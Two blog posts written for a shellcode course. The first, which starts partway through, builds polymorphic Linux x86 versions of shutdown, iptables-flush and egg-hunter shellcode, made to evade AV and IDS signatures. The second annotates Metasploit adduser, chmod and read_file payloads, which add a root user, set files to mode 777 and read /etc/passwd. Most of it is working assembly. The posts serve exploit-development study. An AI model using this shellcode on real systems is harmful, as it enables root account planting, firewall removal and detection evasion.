This shellcode is basically doing an execve(shutdown -h), in 56 bytes. Now, it's time to make a polymorphic version of it. Polymorphism is a way to modify a shellcode/program as to make it look like different, while still keeping the same functionalities. The purpose is to evade traditional AV/IDS signatures by modifying the shellcode. The more polymorphism added, the greater the final size will be. Therefore there is a trade-off to find between polymorphism and shellcode size.

The first question to ask ourself, is what in my current shellcode could be fingerprinted to make a signature? The first obvious answer is the strings: here we have "/sbin/shutdown -h". So in this first exercise, we will focus on scrambling the strings. To do that, I made a simple XOR encoding python program, that you can see below:


#!/usr/bin/python

# Title: XOR encoder
# File: xorencoder.py
# Author: Guillaume Kaddouch
# SLAE-681

import sys

shellcode = (
"\x77\x6f\x6e"                   # = now

#push dword 0x6e776f64           ; = 'down'
#"\x6e\x77\x6f\x64"

#push dword 0x74756873           ; = 'shut'
#"\x74\x75\x68\x73"

#push dword 0x2f6e6962           ; = '/nib'
#"\x2f\x6e\x69\x62"

#push word 0x732f      
#"\x73\x2f"
)

xor_key = 0xAA

encoded = ""
encoded2 = ""

print "[*] Encoding shellcode..."

for x in bytearray(shellcode):
    # XOR encoding
    y = x^xor_key
    encoded += '\\x'
    encoded += '%02x' % y

    encoded2 += '0x'
    encoded2 += '%02x,' %y

print "hex version : %s" % encoded
print ""
print "nasm version : %s" % encoded2
print ""
print 'Len: %d' % len(bytearray(shellcode))

As an example of encoding "now" with 0xAA:



Now the whole polymorphic version:
 
; Polymorphic version of http://shell-storm.org/shellcode/files/shellcode-876.php
; 83 bytes (original 56 bytes)
; Kaddouch Guillaume
; SLAE-681


global _start

section .text

_start:
  ;int execve(const char *filename, char *const argv[], char *const envp[]

 xor eax, eax    ; zero out eax
 push eax    ; push NULL terminating string

 push word 0xc287   ; XORed '-h' with 0xAA
 xor word [esp], 0xaaaa   ; XOR back string to clear text '-h'
 push eax    ; push NULL
 push dword 0x776f6eAA   ; = 'now'
 mov [esp], byte al   ; \x00 = NULL
 mov edi, esp    ; edi = *'-h now'

 push eax    ; push NULL

 mov ebx, dword 0xc4ddc5ce   ; XORed 'down' with 0xAA
 xor ebx, 0xaaaaaaaa    ; XOR back the string to clear text
 push ebx     ; string 'down'

 mov ebx, dword 0x63645762   ; encoded 'shut' decreased by 0x11111111
 add ebx, 0x11111111    ; convert back the string to clear text
 push ebx     ; string 'shut'

        mov ebx, dword 0x85c4c3c8   ; XORed 'bin/' with 0xAA
 xor ebx, 0xaaaaaaaa    ; XOR back the string to clear text
 push ebx     ; string 'bin/'

 mov bx, 0x6129     ; encoded '/s' decreased by 0x1206
 add bx, 0x1206     ; convert back the string to clear text
 push bx      ; string '/s'

 ; clear string on stack = /sbin/shutdown

 mov ebx, esp    ; ebx = *filename '/sbin///shutdown' 0x00

 push eax
 push edi    ; edi = *argv '-h now'
 push ebx    ; *filename '/sbin///shutdown' 0x00
 mov ecx,esp    ; ecx = *argv[*filename '/sbin///shutdown' '-h'

 ; ebx = *filename
 ; ecx = *argv[*filename, *'-h now']
 ; edx = *envp = 0x00

 mov al,0xb    ; execve() syscall number
 int 0x80    ; execve(*/sbin///shutdown, *-h now, 0x00)

 
You can notice that we used various methods to encode the string chunks: 1) XOR 0xaa encoding, 2) INC 0x11111111, 3) ADD 0x1206, 4) and no encoding for the string "now". The point is to avoid a classic encoding/decoding loop that could also be fingerprinted. By using multiple methods, we of course also increase the shellcode size, from 56 bytes to 83 bytes. I am sure you can understand I cannot show you any screenshot of a "working" shutdown shellcode :-) I can at least show the decoding happening in a debugguer:

push word 0xc287 ; XORed '-h' with 0xAA


xor word [esp], 0xaaaa ; XOR back string to clear text '-h'


mov ebx, dword 0xc4ddc5ce ; XORed 'down' with 0xAA


xor ebx, 0xaaaaaaaa ; XOR back the string to clear text


push ebx ; string 'down'


We can notice that the strings are rendered correctly.


6.2 IPTABLES -F SHELLCODE
___________________________________________________
I selected as second shellcode from shell-storm, an "iptables flush" one: http://shell-storm.org/shellcode/files/shellcode-825.php

Disassembled code is already given on the shellcode page. Before presenting a polymorphic version of it, let's analyse it first. All comments are on the code. Available also on GitHub:
 
; Linux/x86 iptables --flush 43 bytes
; Author : Hamza Megahed

; Analysis by Guillaume Kaddouch
; SLAE-681



global _start

section .text

_start:

  ; int execve(const char *filename, char *const argv[], char *const envp[]);


 xor eax,eax     ; zero out eax
 push eax     ; push NULL terminating string on stack
 push word 0x462d    ; push '-F' on stack
 mov esi,esp     ; esi = *ptr to '-F' argument

 push eax     ; push NULL terminating string on stack
 push dword 0x73656c62    ; bles
 push dword 0x61747069    ; ipta
 push dword 0x2f6e6962    ; bin/
 push dword 0x732f2f2f    ; ///s
 mov ebx,esp     ; ebx = *ptr to '///sbin/iptables'

 push eax     ; push NULL
 push esi     ; *ptr to -F
 push ebx     ; 1st arg: *filename ///sbin/iptables
 mov ecx,esp     ; 2nd arg: *argv [*filename, -F]
 mov edx,eax     ; 3rd arg: *envp = 0x00

 mov al,0xb     ; 0xb = execve()
 int 0x80     ; execve(*filename, *argv, *envp)
This shellcode is basically doing an execve(iptables -F), in 43 bytes. Now, it's time to make a polymorphic version of it. As the previous shellcode, we will make sure the string is no longer stored in whole plain text to avoid fingerprinting. We will use other tricks as well we didn't use in the previous polymorphic shellcode.

 
; Polymorphic version of "iptables -flush" shellcode from http://shell-storm.org/shellcode/files/shellcode-825.php
; 61 bytes (original shellcode 43 bytes)
; Guillaume Kaddouch
; SLAE-681


global _start

section .text

_start:

  ; int execve(const char *filename, char *const argv[], char *const envp[]);

 pxor mm0, mm1     ; decoil instruction

 xor eax,eax     ; zero out eax
 mov [esp], eax     ; push NULL on stack, manually
 sub esp, 0x4     ; decrement ESP manually

 push word 0x462d    ; push '-F' on stack
 mov esi,esp     ; esi = *ptr to '-F' argument

 push eax     ; push NULL terminating string on stack
 push dword 0x73656c62    ; 'bles'

 mov edx, 0x50636058    ; encoded 'ipta' string
 add edx, 0x11111011    ; convert back 'ipta' to clear text
 push edx

 push dword 0x2f6e6962    ; bin/
 push dword 0x732f2f2f    ; ///s
 mov ebx,esp     ; ebx = *ptr to '///sbin/iptables'

 push eax     ; push NULL
 push esi     ; *ptr to -F

 cdq      ; decoil instruction

 push ebx     ; 1st arg: *filename ///sbin/iptables
 mov ecx,esp     ; 2nd arg: *argv [*filename, -F]
 mov edx,eax     ; 3rd arg: *envp = 0x00

 mov al,0xa     ; syscall we won't call
 inc al      ; 0xa + 0x1 = 0xb = execve()
 int 0x80     ; execve(*filename, *argv, *envp)

In this example, we encode only part of the "/sbin/iptables -F" string, which is "/sbin/X`cPbles -F". The purpose is to not oversize our polymorphism, to let room for other polymorphic instructions. It may not be necessary to encode the whole command, as a fingerprint on "iptables" string would already not match. Also, it gives us room to use other methods. First one is to add junk instructions in the middle of the code, that does nothing to accomplish our purpose of flushing iptables. It is the case of the MMX instructions added or the "cdq" instruction. Also, instead of doing a clean "push" instruction, we can do the same manually by copying data on the stack, and then adjusting ESP. It still does the same, but further move our shellcode away from a signature for the original version. Finally, the syscall number copied into eax at the end is the wrong one, and is corrected before the syscall occurs. They are all tiny modifications that together modify the fingerprint of the shellcode. Now we can test our shellcode, first we create an iptables rule:



Now let's assemble our shellcode and execute it. Finally check our rules:



We can see that our ACCEPT rule has been correctly deleted by the flush command. Execution is successful, and our shellcode is now polymorphic.



6.3 EGG HUNTER SHELLCODE
___________________________________________________
I selected as third shellcode from shell-storm, an egg hunter one: http://shell-storm.org/shellcode/files/shellcode-839.php

Only hexadecimal shellcode is given on the link, we have to disassemble it first:



Now let's analyse it:

 
 ; Title: Egg Hunter Shellcode
 ; Author: Geyslan G. Bem, Hacking bits
 
; Analysis by Guillaume Kaddouch
; SLAE-681


 global _start

section .text

_start:

 cld     ; clear DF flag
 xor ecx,ecx    ; zero out ecx
 mul ecx     ; zero out eax and edx

next_page:

 or dx,0xfff    ; page aligment: if memory is invalid, skip to the next page

next_address:

 inc edx    ; check next memory address
 push byte 0x21    ; 0x21 = 33 = access() syscall
 pop eax
 lea ebx, [edx+0x4]   ; 1st arg: ebx = next memory to check (=edx+4)
 int 0x80    ; eax = access(*memory, 0x0)
 cmp al,0xf2    ; if al = 0xf2, page invalid so skip it, jump to next page (ZF = 1)
 jz next_page

 mov eax,0x50905090   ; if address not invalid, store egg signature into eax
 mov edi,edx    ; store current memory content into edi
 scasd     ; compare edi & eax, and set ZF = 1 if equal (egg found). Increment edi by 4.
 jnz next_address   ; if not our egg, jump to next address
 scasd     ; if it is our egg, check next address is equal to our egg too
 jnz next_address  ; if not, jump to the next address, going first to a decoil jump
 jmp edi     ; our egg was found, jump to shellcode (edi+8)
This egg hunter inspects the whole process memory looking for the egg, twice, and then jump to the shellcode. Now let's try to make a polymorphic version of it:

 
; Polymorphic version or egg hunter from http://shell-storm.org/shellcode/files/shellcode-839.php
; 57 bytes (original size 38 bytes)
; Guillaume Kaddouch
; SLAE-681


global _start

section .text

_start:

 xor eax, eax   ; zero out eax
 xor edx, edx   ; zero out edx
 cld    ; clear DF flag
 xor ecx,ecx   ; zero out ecx

next_page:

 fldz
 or dx,0xfff   ; page aligment: if memory is invalid, skip to the next page

next_address:

 add edx, 0x1   ; check next memory address
 push byte 0x20   ; 0x20 = 32 = getpid() syscall
 pop eax
 lea ebx, [edx+0x6-0x2]  ; 1st arg: ebx = next memory to check (=edx+4)
 inc eax    ; 0x21 = 33 = access() syscall
 int 0x80   ; eax = access(*memory, 0x0)
 cmp al,0xf2   ; if al = 0xf2, page invalid so skip it, jump to next page (ZF = 1)
 jz next_page

 mov eax,0x40804080  ; if address not invalid, store obfuscated egg signature into eax
 add eax, 0x10101010  ; fix egg signature = 0x50905090
 mov edi,edx   ; store current memory content into edi
 scasd    ; compare edi & eax, and set ZF = 1 if equal (egg found). Increment edi by 4.
 jnz next_address  ; if not our egg, jump to next address
 scasd    ; if it is our egg, check next address is equal to our egg too
 jnz decoil   ; if not, jump to the next address, going first to a decoil jump
 jmp edi    ; our egg was found, jump to shellcode (edi+8)

decoil:
 mov dword esi, 0x11112345 ; I like moving data around for no reason
 jmp short next_address  ; now get back to work
In this polymorphic version, we combine many methods we used before. First, we modify the begining of the shellcode by using different instructions to zero out registers. We insert a junk instruction in between, and we push a wrong syscall value into eax, before correcting it further (and not immediately this time). The LEA instruction is slighly modified, and the egg signature is obfuscated before being moved into eax register, and is fixed just after. Finally, an additional jump has been added to modify the workflow of the shellcode, jumping at a place doing a bogus instruction, before jumping back where it should, following execution. The shellcode increased from 38 bytes to 57 bytes in the process. Now let's check it works:



Putting the shellcode into a C file, compile it and execute it:





We can see that our polymorphic shellcode is working and jumps to the target shellcode, displaying "Egg Mark" on the screen. We can test removing part of the egg signature on the target shellcode and see what happens:





The program seems to loop indefinitely, as it never finds the egg signature twice in a row.



This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-681


Monday, 10 August 2015

SLAE Assignment #5: Metasploit Shellcode Analysis


For my SLAE (Securitytube Linux Assembly Expert) certification exam, I have to blog my 7 assignments. Below is the fifth exercise requested about analysing three Metasploit Linux x86 shellcode of my choice. Code can be found at my GitHub SLAE repository.


5.1 METASPLOIT ADDUSER SHELLCODE
___________________________________________________
I decided to analyse the Metasploit linux/x86/adduser shellcode. I booted my Kali Linux VM, and used msfvenom to have the shellcode of this payload:



Then, I copy/pasted it into an text file to put the shellcode on one line, allowing me in the next step to disassemble it:





We can notice that in the middle of the shellcode there is instructions that do not seem to make any sense for adding a user. To gather more information, I tried to use Libemu:




However Libemu stops in the middle of the process, instead of giving a full analysis with a C code at the end. In ndisasm output, we can follow all the instructions until an interesting "CALL" which jumps further in the code, skipping an entire block of opcodes. This sounds like CALL POP technique, without the initial jump. That would mean that the opcode block skipped is a string for which the address is needed. A reason to do it that way is to optimize the code size, while decreasing readibility. To check that theory, I coded a python script to receive an opcode input, and translate it to string:

 #!/usr/bin/python

# Convert shellcode hex input as string
# Author: Guillaume Kaddouch
# SLAE-681

import sys

try:
    if sys.argv[1]:
        arg1 = sys.argv[1]
        string = arg1

    if sys.argv[2] == "null":
        string += '\n'
except:
    toto = "Nothing"
finally:

    encode = string.decode('hex')

print 'string = %s' % string
print 'encode = %s' % encode 
 
Then I took the shellcode chunk that I'm interested in and checked what string was in:





We can see that our guess was correct, this is the entire /etc/passwd line with our user SLAE, encrypted password, home directory, and shell. Now I can add below my full analysis of this shellcode:


; Metasploit linux/x86/adduser
; Analysis by Guillaume Kaddouch
; SLAE-681


global _start

section .text

_start:

 ; set current user id to 0 (= root)
 ; int setreuid(uid_t ruid, uid_t euid)

 xor ecx,ecx  ; 2nd arg: euid = 0
 mov ebx,ecx  ; 1st arg: ruid = 0
 push byte +0x46  ; push 70 = setreuid()
 pop eax   ; pop 70 into eax
 int 0x80  ; eax = setreuid(0, 0), on success 0 is returned


 ; open /etc/passwd file
 ; int open(const char *pathname, int flags)

 push byte +0x5  ; push 5 = open()
 pop eax   ; pop 5 into eax
 xor ecx,ecx  ; zero out ecx
 push ecx  ; push 0x00000000 on stack to NULL terminate the following string
 push dword 0x64777373 ; string 'dwss' (decoded with hex2string.py)
 push dword 0x61702f2f ; string 'ap//'
 push dword 0x6374652f ; string 'cte/' -> whole string = /etc//passwd
 mov ebx,esp  ; 1st arg: ebx = string address
 inc ecx   ; ecx = 0x00000001 = O_WRONLY (Write Only)
 mov ch,0x4  ; 2nd arg: ecx = 0x00000401 = O_NOCTTY
 int 0x80  ; eax = open(*/etc/passwd, O_WRONLY+O_NOCTTY), fd returned into eax

 xchg eax,ebx  ; save fd into ebx, set eax = */etc/passwd

 ; All asm below is misinterpreted by nasm
 ; it is not assembly, but in reality the line to add to /etc/passwd in the form
 ; user:encrypted_password:0:0::/:/bin/sh
 call next  ; \xe8\x22 = call 0x22 = 34 (string lenght)
    ; jump ahead of the string to the rest of code

 ; passwd line to add
 jnc 0x99
 popad
 cmp al,[gs:ecx+0x7a]
 aaa
 cs push edi
 dec edx
 fs push dword 0x73642e47
 cmp dh,[eax]
 cmp dh,[eax]
 cmp bh,[edx]
 das
 cmp ch,[edi]
 bound ebp,[ecx+0x6e]
 das
 jnc 0xb4
 or bl,[ecx-0x75]  ; 0A598B: one byte belongs to the string (0x0A)

 ; original shellcode chunk
 ; \x73\x6c\x61\x65\x3a\x41\x7a\x37\x2e\x57\x4a\x2e\x64\x68\x47\x2e\x64\x73\x3a
 ; \x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a

 ; stripping '\x' with : echo [shellcode chunk] | sed 's/\\//g' | sed 's/x//g'

 ; using ./hex2reversestring.py 736c61653a417a372e574a2e6468472e64733a303a303a3a2f3a2f62696e2f73680a
 ; = slae:Az7.WJ.dhG.ds:0:0::/:/bin/sh

 ; call above continues below
next:
 ; writing to /etc/passwd
 ;  ssize_t write(int fd, const void *buf, size_t count);
 ; 1st arg: ebx = fd

 pop ecx    ; retrieve the address of the begining of user line to add to passwd
     ; 2nd arg: *buf
 mov edx, dword [ecx-4]  ; 3rd arg: size is at the begining of the line string. See below

 ; E8 22 00 00 00 call 0x22
 ; 73 <- ret = ecx
 ; ecx-4 = 73(0) 00(1) 00(2) 00(3) 22(4) = 34 bytes

 push byte 0x4   ; 0x4 = write()
 pop eax    ; prepare syscall
 int 0x80   ; write(fd, *slae:Az7.WJ.dhG.ds:0:0::/:/bin/sh, 33) 

 push byte 0x1   ; 0x1 = exit()
 pop eax    ; prepare syscall
 int 0x80   ; exit()
  
  
This shellcode sets the current UID to root, then open /etc/passwd for write, and write a line adding a new user, before exiting.



5.2 METASPLOIT CHMOD SHELLCODE
___________________________________________________
I then decided to analyse as second shellcode, the Metasploit linux/x86/chmod shellcode. On Kali Linux, I used msfvenom to have the shellcode of this payload:



I prepared the file "test" with a chmod 644 on it:



Then, I copy/pasted the shellcode into an text file to put the shellcode on one line, allowing me in the next step to disassemble it:





We can notice that in the middle of the shellcode there is instructions that do not seem to make any sense for doing a chmod, like we saw in the previous analyzed shellcode. To gather more information, I tried to use Libemu again:





Libemu still stops in the middle of the process, instead of giving a full analysis with a C code at the end. In ndisasm output, we can follow all the instructions until an interesting "CALL" which jumps further in the code, skipping an entire block of opcodes like the previous shellcode. I will use again the same python program:





The string finally revealed, is the path to the file to be chmoded. Now we can continue with the full analysis of the shellcode assembly:


; Metasploit linux/x86/chmod
; Analysis by Guillaume Kaddouch
; SLAE-681


global _start

section .text

_start:
 ; chmod
 ; chmod(const char *path, mode_t mode)

 cdq
 push byte 0xf   ; 0xf = 15 = chmod()
 pop eax    ; prepare eax for chmod() syscall
 push edx
 call next  ; call shellcode+31

 ; below is a string misinterpreted as assembly by nasm
 das
 push dword 0x2f656d6f
 jnz 0x7c
 insb
 insb
 popad
 jnz 0x85
 gs das
 jz 0x81
 jnc 0x92
 add [ebx+0x68],bl
 inc dword [ecx]
 add [eax],al

 ; opcodes of assembly chunk above is:
 ; \x2f\x68\x6f\x6d\x65\x2f\x67\x75\x69\x6c\x6c\x61\x75\x6d\x65\x2f\x74\x65\x73\x74\x00
 ; $ echo [chunk] | sed 's/x//g' | sed 's/\\//g' = 2f686f6d652f6775696c6c61756d652f7465737400
 ; $ ./hex2reversestring.py 2f686f6d652f6775696c6c61756d652f7465737400
 ; = '/home/guillaume/test'

 ; this assembly chunk is the end of a string and the begining of code (misinterpreted by nasm)
 ; 0000001E  005B68            add [ebx+0x68],bl
 ; 00000021  FF01              inc dword [ecx]
 ; 00000023  0000              add [eax],al

 ; thanks to gdb and edb debugguers, we know the correct code, see below (2 lines)
 ; 00 end of above string
 ; above call shellcode+31 jumps below
next:
 pop ebx    ; \x5B -> 1st arg: store *path in ebx (file to chmod)
 push 0x01ff   ; \x68\xFF\x01\x00\x00 -> 0x1ff = 777 octal (file's permissions)

 pop ecx    ; 2nd arg: ecx = 777 octal
 int 0x80   ; eax = chmod(*path, 777), *path = /home/guillaume/test

 ; exit()
 push byte 0x1
 pop eax
 int 0x80
  
  
This shellcode does a "chmod 777 /home/guillaume/test". Below I show that this shellcode is working:



To analyse it, we can run gdb and set a breakpoint, or we could insert our shellcode into a C program and then use gdb to set a breakpoint at the start of the shellcode. I used gdb directly:



We are interested by the CALL and where it jumps. We can set another breakpoint at the memory address of CALL:





We can confirm that the middle block of shellcode is skipped over. It is possible to have a graphical view with edb debbuguer, by setting a breakpoint at the CALL address :







We can clearly see the block of string jumped over, and precisely view how the opcodes are splitted where the CALL jumps to "\x5B" (pop eax) alone, then "\x68\xff\x01\x00\x00" (push 0x01ff). Ndisasm wrongly showed it was "\x00\x5B\x68" and "\xff\x01", then "\x00\x00". This demonstrates that static analysis is sometimes not enough, and that using a debugguer while the program is running is necessary.


5.3 METASPLOIT READ_FILE SHELLCODE
___________________________________________________
I then decided to analyse as third shellcode, the Metasploit linux/x86/read_file shellcode. On Kali Linux, I used msfvenom to have the shellcode of this payload:



Then, I copy/pasted the shellcode into an text file to put the shellcode on one line, allowing me in the next step to disassemble it:





We can recognize at the end a CALL that jumps back at 0x2, which means at the begining of the shellcode. It is clearly a JMP CALL POP method. Trying again Libemu to learn more about the shellcode:





Libemu still stops in the middle of the process, instead of giving a full analysis with a C code at the end. I will use again the same python program as for the previous shellcodes, to know what means the last chunk of opcodes:





The string revealed is the path to the file to be read. Now we can continue with the full analysis of the shellcode assembly:

  
; Metasploit linux/x86/read_file
; Analysis by Guillaume Kaddouch
; SLAE-681


global _start

section .text

_start:

 jmp short jump1  ; jump to 'jump1' (JMP CALL POP technique)

shellcode:

 ; open /etc/passwd
 ; int open(const char *pathname, int flags) 

 mov eax,0x5  ; 0x5 = open()
 pop ebx   ; save ret on stack into ebx = *pathname
 xor ecx,ecx  ; zero out ecx, 2nd arg = 0x0 (O_RDONLY)
 int 0x80  ; eax = open(*pathname, 0x0)

 ; read /etc/passwd
 ; ssize_t read(int fd, void *buf, size_t count)

 mov ebx,eax  ; 1st arg: fd retrieved in eax saved into ebx
 mov eax,0x3  ; 0x3 = read()
 mov edi,esp  ; save stack pointer into edi
 mov ecx,edi  ; 2nd arg: ecx points to the stack (*buf has now room to receive bytes read)
 mov edx,0x1000  ; 3rd arg: 0x1000 = 4096 bytes to read
 int 0x80  ; eax = read(fd, *buf, 4096)

 ; write
 ; ssize_t write(int fd, const void *buf, size_t count)

 mov edx,eax  ; 3rd arg: edx = count of bytes returned by read()
 mov eax,0x4  ; 0x4 = write()
 mov ebx,0x1  ; 1st arg: 0x1 = stdin (display on screen)
 int 0x80  ; write(stdin, *buf, count)

 ; exit()
 mov eax,0x1
 mov ebx,0x0
 int 0x80

jump1:
 call shellcode  ; jump to 'shellcode'
 mypath db "/etc/passwd"
 
 ; string misinterpreted by ndisasm as instructions
 ; opcodes = \x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x00
 ; $ echo '\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x00' | sed 's/x//g' | sed 's/\\//g' = 2f6574632f70617373776400
 ; ./hex2reversestring.py 2f6574632f70617373776400
 ; = /etc/passwd
  
  
This shellcode reads /etc/passwd and ouputs it to the screen. Below I show that this shellcode is working:



The output has been cutted. We can see that this shellcode works as advertised.



This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-681